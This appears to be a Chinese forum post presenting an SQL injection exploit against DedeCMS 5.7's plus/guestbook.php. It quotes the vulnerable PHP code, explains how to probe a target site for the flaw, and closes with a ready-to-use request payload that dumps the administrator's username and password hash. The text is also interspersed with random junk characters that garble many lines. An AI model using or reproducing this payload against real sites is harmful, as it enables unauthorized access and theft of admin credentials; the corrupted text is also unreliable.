dedecms5.7最新sql注射漏洞利用 guestbook.php

admin

影响版本为5.7

+ ^' t5 c. b. p3 _% P6 B漏洞文件edit.inc.php具体代码：
9 k5 Z6 ]7 F$ Y: {2 C1 J4 G
< ?php  
5 k. Z+ f; Y0 G7 V
if(!defined('DEDEINC')) exit('Request Error!');  

   
5 ], q9 J2 {: Y: ^+ a
4 v* _1 i, n  B; B% f" N  P, m( Oif(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  

! W/ a( a- J. ?3 `* @else $GUEST_BOOK_POS = "guestbook.php";  

   

$ ?/ c- p& r, J8 O/ M. N$id = intval($id);  
# H) S5 K  l( \" _
if(empty($job)) $job='view';  
0 t& q* K5 e& v
   

" Y8 g5 ~6 \+ I8 L/ \( |4 iif($job=='del' && $g_isadmin)  
7 y/ r7 v+ q' i4 O$ K* g8 G
{  

& N+ ?& }. W2 L  r3 q/ {$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  

0 z' u2 m# a; Q" ?  U0 [7 jShowMsg("成功删除一条留言！", $GUEST_BOOK_POS);  

exit();  

}  
; K  k! A; Y7 h+ y+ w$ d; w3 t
else if($job=='check' && $g_isadmin)  
7 t' q1 D/ `2 O  g/ p5 ]
{  
2 j: `) R0 f" P2 K0 `9 T
9 ?5 u+ l! ]; S9 Z$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  
- G1 m6 s# X: X0 K) g, w
4 J' D( R3 W! ~% h+ e, V3 ?& cShowMsg("成功审核一条留言！", $GUEST_BOOK_POS);  

exit();  

}  
% @* y. E+ I+ A6 i
# U2 O) C" W, _3 Xelse if($job=='editok')  
! P( w0 l" Q* O7 Q. L
/ l* F/ F, b6 X, E. U6 ]0 w. n5 T3 D{  

# l+ C- \/ K8 E$remsg = trim($remsg);  

( Y" ^4 c% Q. D5 K; Oif($remsg!='')  
, X  z( D2 y8 \
  U% l$ v) U+ k( Z4 x{  

//管理员回复不过滤HTML By:Errorera blog:errs.cc  
% H+ d* U( X) N/ k5 R/ _5 _( D
9 s" }4 a2 ?3 i4 R5 m8 iif($g_isadmin)  

$ k) N$ a3 f% k" Z  |" t{  

# q# I2 a% e: m, [2 u$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  

//$remsg <br /><font color=red>管理员回复：</font> }  

else
- q. I' t" P/ c% F' A/ S0 L
{  
4 _, c! ^5 {% O- d, f. J
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  
# h* d* F; A: v' C: Z- X
% V( Q- G( s, b, A+ n* ]" s$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  
9 X2 ~: R7 N% X& e! M
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  
: m! n" C2 u$ a' o; V
$msg = $oldmsg.$remsg;  
& |' J+ Q' z1 v+ N$ d
/ A% [9 S7 C: u- H. I% K* J( ^}  
7 Y4 a# \9 S: G
4 T1 r% O( {- p: t1 _- }}  

//这里没有对$msg过滤，导致可以任意注入了By:Errorera home:www.errs.cc  

2 X: X) L& P7 [  ^$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  
7 F  R5 s: g  `( g, U
8 O  e4 q+ C3 m& G) Z5 J, H  @ShowMsg("成功更改或回复一条留言！", $GUEST_BOOK_POS);  
$ E4 `; |+ a8 m* }
! ]) [5 B1 X( E9 Uexit();  
8 L; O9 e- t, S" H' c) L& R
}  

//home:www.errs.cc  

& p  r& c9 v+ l% @% t  A% g  pif($g_isadmin)  

{  
! _" s$ W  Z8 W8 v( m
  e1 A& x' D* H2 G. C  p$ d/ f$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  

require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  

" c( r1 |6 I$ U4 o' o& R}  

, }0 c( x2 I/ _) N0 Xelse
  E: Q+ t" o0 e7 C
{  
  r5 n4 @; K$ v) q1 s1 J0 R
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  
7 j7 |* |2 R- p  s& @' \: |
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  

4 }! F7 O4 Y/ F% R' w3 D+ ~} 漏洞成功需要条件：
1. php magic_quotes_gpc=off
. F$ Y9 i: T1 @* J- z3 A' d2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
. p6 w' d( G& A9 `6 o
6 h( ~; e5 b8 u' r- _  M怎么判断是否存在漏洞：
8 G3 T0 U% L- o. |先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言，
' K- j8 Y9 U) b0 |然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
访问：
4 f  z( R- x$ ?
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证

$ R# w9 X- R/ b5 y
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
9 `4 A9 |. B3 ?7 E4 F3 c如果没有修改成功，那留言ID的内容还是以前的 那就证明漏洞可以利用。
那么再次访问

7 G2 N! S2 J3 y! l0 swww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回，那条留言ID的内容就直接修改成了mysql 的user().

9 f8 C0 ]/ s( n+ o6 R1 l4 ~' f7 ~大概利用就是这样，大家有兴趣的多研究下！！

2 g; ^: L/ l+ ?( |最后补充下，估计有人会说怎么暴管理后台帐户密码，你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)！！
# k4 L2 D0 r: U+ E+ _, Q- c* s
/ S9 |5 _) q% X7 ?view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='